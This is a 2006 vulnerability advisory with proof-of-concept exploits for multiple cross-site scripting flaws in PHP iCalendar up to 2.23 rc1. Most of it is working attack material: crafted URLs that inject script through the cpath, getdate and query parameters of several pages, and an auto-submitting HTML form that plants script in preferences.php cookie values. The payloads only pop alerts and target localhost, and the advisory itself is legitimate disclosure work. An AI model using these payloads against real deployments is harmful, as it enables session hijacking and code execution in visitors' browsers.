PHP icalendar XSS in preferences.php PoC

##################################################### PHP icalendar multiple variable cross site scripting Vendor url:http://phpicalendar.net/ Advisore:http://lostmon.blogspot.com/2006/12/ php-icalendar-multiple-variable-cross.html Vendor notify: YES Exploit included:YES ##################################################### PHP icalendar contains a flaw that allows a remote cross site scripting attack.This flaw exists because the application does not validate multiple params upon submission to multiple scripts. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity. ###################### versions ###################### all of this versions have been tested Posible other versions are prone vulnerables. PHP iCalendar 2.23 rc1 PHP iCalendar 2.22 PHP icalendar 2.0 Beta PHP iCalendar 1.1 ###################### Solution: ###################### No solution was available at this time!! ################## Time Line ################## Discovered:20-12-2006 Vendor notify:25-12-2006 Vendor response: Disclosure:27-12-2006 ################### EXAMPLES & PoC ################### http://localhost/phpicalendar/day.php?cal=all_calendars_combined971 &getdate=20061225"> http://localhost/phpicalendar/month.php?cal=all_calendars_combined971 &getdate=20061225"> http://localhost/phpicalendar/year.php?cal=all_calendars_combined971 &getdate=20061225"> http://localhost/phpicalendar/week.php?cal=all_calendars_combined971 &getdate=20061225"> http://localhost/phpicalendar/day.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://localhost/phpicalendar/month.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://localhost/phpicalendar/year.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://localhost/phpicalendar/week.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work ---- http://localhost/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102&query=ss">&submit.x=11&submit.y=15 http://localhost/phpicalendar/search.php?cpath=">&cal=Home %2CUS%2BHolidays%2CWork&getdate=19700102&query=ss&submit.x=11&submit.y=12 http://localhost/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102">&query=ss&submit.x=11&submit.y=12 ---- http://localhost/phpicalendar/rss/index.php?cal=Home,US+Holidays,Work &getdate=20061225"> http://localhost/phpicalendar/print.php?cal=Home,US+Holidays,Work &getdate=20061225%22%3E%3Cscript%3Ealert()%3C/script%3E&printview=day ################################ Proof of concept for preferences ################################ Multiple param XSS in preferences.php Use the proof and modify some params create a evil cookie before submit :) http://localhost/phpicalendar/preferences.php?cal=Home,US+Holidays,Work &getdate=20061227%22%3E%3Cscript%3Ealert()%3C/script%3E PHP icalendar XSS in preferences.php PoC

PHP icalendar <= 2.23 rc1 preferences.php XSS Proof Of concept By Lostmon

Modify the target host , by default http://localhost/

<form method='post'
action='http://localhost/phpicalendar/preferences.php?action=setcookie'>
cookie_language: <input input='text' value='Spanish'
name='cookie_language' style='width: 80%' /><br>
cookie_calendar: <input input='text'
value='all_calendars_combined971' name='cookie_calendar' style='width:
80%' /><br>
cpath: <input input='text'
value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'
name='cpath' style='width: 80%' /><br>

cookie_view: <input input='text' value='day' name='cookie_view'
style='width: 80%' /><br>
cookie_time: <input input='text' value='0700' name='cookie_time'
style='width: 80%' /><br>
cookie_startday: <input input='text' value='Sunday'
name='cookie_startday' style='width: 80%' /><br>
cookie_style: <input input='text' value='default' name='cookie_style'
style='width: 80%' /><br>
unset: <input input='text'
value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'
name='unset' style='width: 80%' /><br>
set: <input input='text'
value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'
name='set' style='width: 80%' /><br>
<input type='submit' value='submit' /><br>
</form>
<script>
document.forms[0].submit()
</script>

######################## €nd ##################### Thnx to Estrella to be my ligth. -- atentamente: Lostmon (lostmon@gmail.com) Web-Blog: http://lostmon.blogspot.com/ -- La curiosidad es lo que hace mover la mente....